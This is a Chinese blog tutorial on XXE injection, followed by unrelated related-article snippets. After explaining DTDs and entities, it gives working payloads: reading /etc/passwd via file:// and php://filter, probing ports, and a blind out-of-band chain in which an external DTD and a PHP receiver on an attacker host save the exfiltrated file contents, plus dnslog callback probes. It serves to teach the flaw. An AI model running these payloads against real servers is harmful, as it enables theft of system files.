【网络安全】XXE--XML外部实体注入

news2024/11/23 22:14:47

XXE

    • XXE定义
    • XML初识
      • 菜鸟xml概念
      • 初识DTD
            • 解答疑虑1:!DOCTYPE是干什么用的
            • 疑虑2:!ELEMENT是干什么用的
            • 疑虑3:#PCDATA是干什么用的
            • 疑虑4:为什么元素要再次声明类型
        • `内部实体`和`外部实体`的区别
            • 内部实体
            • 外部实体
            • 通用实体引用
    • xxe漏洞利用
        • 有回显
            • 判断靶场是否存在回显
            • 利用file协议读取敏感信息
            • 探测端口
        • 无回显
            • 利用http伪协议读取敏感信息
            • 利用服务器攻击服务器漏洞获取敏感信息(待补充)
            • 利用dnslog平台检测是否访问

XXE定义

XML外部实体注入(XML EXTERNAL ENTITY)简称XXE漏洞,概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

XML初识

菜鸟xml概念

在这里插入图片描述

初识DTD

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

解答疑虑1:!DOCTYPE是干什么用的

在这里插入图片描述

疑虑2:!ELEMENT是干什么用的

在这里插入图片描述

疑虑3:#PCDATA是干什么用的

在这里插入图片描述

疑虑4:为什么元素要再次声明类型

在这里插入图片描述

内部实体外部实体的区别

内部实体
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
实体可以理解为变量
writer = Donald Duck.
copyright = Copyright runoob.com


如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>

总结:就是在xml内部进行定义变量,就是所谓的内部实体
外部实体
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
理解为:
writer = "http://www.runoob.com/entities.dtd"
copyright = "http://www.runoob.com/entities.dtd"
SYSTEM 在引用外部实体的时候需要加SYSTEM

如何引用:
元素标签内+ &writer;
例子:<heading>&writer;</heading>

总结:外部实体就是引用外部的文件
通用实体引用
创建文件aaa.dtd
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用方式:
<?xml version='1.1' encoding='utf-8'>
<!DOCTYPE note [
<!ELEMENT % file SYSTEM "http://www.runoob.com/aaa.dtd>"
%file;
]>
<note>

xxe漏洞利用

有回显

判断靶场是否存在回显
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer "test">
]>
<name>&writer;</name>

在这里插入图片描述

利用file协议读取敏感信息
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'file:///etc/passwd'>
]>
<name>&writer;</name>

在这里插入图片描述

win 请读取文件c:/windows/win.ini

探测端口
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM '127.0.0.1:3306'>
]>
<name>&writer;</name>

无回显

利用http伪协议读取敏感信息
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
]>
<name>&writer;</name>

在这里插入图片描述
在这里插入图片描述

利用服务器攻击服务器漏洞获取敏感信息(待补充)
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
5up4ga.dnslog.cn
<!ENTITY % remove SYSTEM 'http://192.168.0.22/home/kali/test/bbb.dtd'>
%remove; 
%all;
%send;
]>
<name>&writer;</name>

攻击方服务器启动目录准备php和dtd文件

<?
$file='./test.txt';
$content=base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://本地服务ip/php文件'?file=%file;'>"
>
利用dnslog平台检测是否访问
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY writer SYSTEM 'http://qw1j8c.dnslog.cn'>
]>
<name>&writer;</name>

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % writer SYSTEM 'http://qw1j8c.dnslog.cn'>
%writer;
]>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/457225.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Spring篇】DI相关内容

&#x1f353;系列专栏:Spring系列专栏 &#x1f349;个人主页:个人主页 目录 一、setter注入 1.环境准备 2.注入引用数据类型 3.注入简单数据类型 二、构造器注入 1.环境准备 2.构造器注入引用数据类型 3.构造器注入多个引用数据类型 4.构造器注入多个简单数据类型 …

OAuth2学习(实操OAuth微信登录)

文章目录 前言1 OAuth2基本概念2 网站应用微信登录2.1 大概流程2.2 前期准备2.3 将微信登录二维码内嵌到自己页面2.3.1 后端接口编写(向前端提供参数)2.3.2 前端显示二维码页面 2.4 编写回调接口2.4.1 回调接口根据code获取access_token 这个令牌2.4.2 回调接口根据access_toke…

大数据分析工具Power BI(十三):制作占比分析图表

文章目录 制作占比分析图表 一、饼图 二、环形图 三、树状图

赛题解析 | kaggle百万奖金新赛--图书墨水检测大赛

整理自kaggle平台 比赛题目 Vesuvius Challenge - Ink Detection kaggle-图书墨水检测 比赛背景 赫库兰尼姆卷轴中使用的墨水在X射线扫描中不容易显示出来。但我们发现机器学习模型可以检测到它。幸运的是&#xff0c;我们有地面实况数据。自从近300年前发现赫库兰尼姆Papyr…

【K8S系列】深入解析Service

序言 Dont count the days. Make the days count 不要数着日子。让日子过得有意义 文章标记颜色说明&#xff1a; 黄色&#xff1a;重要标题红色&#xff1a;用来标记结论绿色&#xff1a;用来标记一级论点蓝色&#xff1a;用来标记二级论点 Kubernetes (k8s) 是一个容器编排平…

React 组件 API

常用 React 组件 API&#xff1a; 设置状态&#xff1a;setState替换状态&#xff1a;replaceState设置属性&#xff1a;setProps替换属性&#xff1a;replaceProps强制更新&#xff1a;forceUpdate获取DOM节点&#xff1a;findDOMNode判断组件挂载状态&#xff1a;isMounted …

基础自动化测试脚本开发——Loadrunner网页系统两种创建关联函数的方法详解

前言 许多的系统都采用SessionID或SeqID等方法来标识不同的任务和数据报&#xff0c;应用在每次运行时发送的数据并不完全相同。所以&#xff0c;为了让脚本能够支持测试的需求&#xff0c;就必然要用某种机制对脚本的数据进行关联了。总之一句话&#xff1a;通过关联可以在测试…

AOD实践,modis数据下载,modis数据处理

modis数据下载-数据读取-重投影-拼接-均值 一、数据下载 1、Cygwin安装 Cygwin安装教程&#xff1a;https://blog.csdn.net/u010356768/article/details/90756742 1.2 数据采集 现提供遥感数据下载服务&#xff0c;主要是NASA数据&#xff0c;数据下载网站包括&#xff1a…

炸裂的 AutoGPT,鱼皮教你免费用!

大家好&#xff0c;我是鱼皮&#xff0c;继前段时间爆火的 ChatGPT 后&#xff0c;又一个炸裂的开源项目 Auto-GPT 出现了。 仅在最近 10 天&#xff0c;这个项目就收获了 8 万多个 star&#xff0c;目前总 star 数超过 10 万&#xff01; 那 Auto-GPT 到底是个什么玩意&#x…

一文让你熟练使用 JSONObject 和 JSONArray

依赖 导入阿里的 fastjson 依赖。 <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.78</version></dependency>类型转换 String 与 JSON 相互转换 通过 JSONObject.parseObject…

21、越狱调试

前言 调试一款应用,使用重签名方案,很容易被第三方察觉.在越狱环境中,我们可以在不污染App的情况下,对第三方程序进行动态调试 一、Reveal Reveal 是一款UI调试工具,对iOS逆向开发非常有帮助. 在Mac电脑中,安装Reveal软件: 密码 xclient.info 在手机中,安装Reveal插件打开C…

【京东】商品评价数据采集+买家评论数据+卖家评论数据采集+行业数据分析+行业数据质检分析

采集场景 京东商品详情页中的评价&#xff0c;有多个分类&#xff1a;【全部评价】、【晒图】、【视频晒单】、【追评】、【好评】、【中评】、【差评】。其中【全部评价】默认展现&#xff0c;其他需点击后展现。本文以按【差评】筛选采集为例讲解。实例网址&#xff1a;http…

MySQL-----复合查询

文章目录 前言一、基本查询回顾二、 多表查询解决多表查询的思路 三、自连接四、子查询1. 单行子查询2. 多行子查询3. 多列子查询4. 在from子句中使用子查询5. 合并查询5.1 union5.2 unoin all 总结 前言 前面的学习中,对于mysql表的查询都是对一张表进行查询,在实际开发中这远…

快速入门git(收藏篇)

大致总结&#xff1a; 本地仓库要先去github注册&#xff0c;并通过github的验证。于是本地仓库的文件均可通过协议传输至github任意一个仓库。本地文件要先传到本地仓库&#xff0c;由本地仓库传输至远程github仓库。 在详细学习git之前&#xff0c;我们先来看看Git和svn之间…

系统集成项目管理工程师 笔记(第七章:项目范围管理)

文章目录 7.1.1 项目范围管理的含义及作用7.1.2 项目范围管理的主要过程&#xff08;6个&#xff09; 7.2 编制范围管理计划和范围说明书 2687.2.1 编制范围管理计划过程所用的工具与技术7.2.2 编制范围管理计划过程的输入、输出 7.3 收集需求 2717.3.1 收集需求过程的工具与技…

java 网络编程总结

目录 一、拾枝杂谈 1.网络通信 : 2.网络 : 3.IP : 4.IPv4的ip地址分类 : 5.域名和端口 : 6.网络协议 : 二、网络编程 1.InetAddress : 1 常用方法 : 2 代码演示 : 2.Socket : 1 概述 : 2 代码演示 : eg1 : 客户端连接服务端 eg2 : 结束标记 eg3 : 网络传输文件…

Linux设置进程自启动

systemd学习 http://www.jinbuguo.com/systemd/systemctl.html https://blog.csdn.net/sinat_35815559/article/details/102867290 常用命令 立即启动一个服务&#xff1a; systemctl start xxx.service立即停止一个服务&#xff1a; systemctl stop xxx.service重启一个服…

跌倒检测和识别4:C++实现跌倒检测(含源码,可实时跌倒检测)

跌倒检测和识别4&#xff1a;C实现跌倒检测(含源码&#xff0c;可实时跌倒检测) 目录 跌倒检测和识别4&#xff1a;C实现跌倒检测(含源码&#xff0c;可实时跌倒检测) 1. 前言 2. 跌倒检测模型&#xff08;YOLOv5&#xff09; &#xff08;1&#xff09;跌倒检测模型训练 …

第14届蓝桥杯 | 冶炼金属

作者&#xff1a;指针不指南吗 专栏&#xff1a;第14届蓝桥杯真题 &#x1f43e;慢慢来&#xff0c;慢慢来&#x1f43e; 文章目录 题目代码摸索第一次 AC 5/10第二次 AC 100% 反思 题目 链接&#xff1a; 4956. 冶炼金属 - AcWing题库 小蓝有一个神奇的炉子用于将普通金属 O …

【LeetCode】数据结构刷题(2)[查找链表的中间节点]

【LeetCode】数据结构刷题&#xff08;2&#xff09; 1.题目来源2.题目描述3.解题思路4.代码展示5.类似题目练习 所属专栏&#xff1a;玩转数据结构题型 博主首页&#xff1a;初阳785 代码托管&#xff1a;chuyang785 感谢大家的支持&#xff0c;您的点赞和关注是对我最大的支持…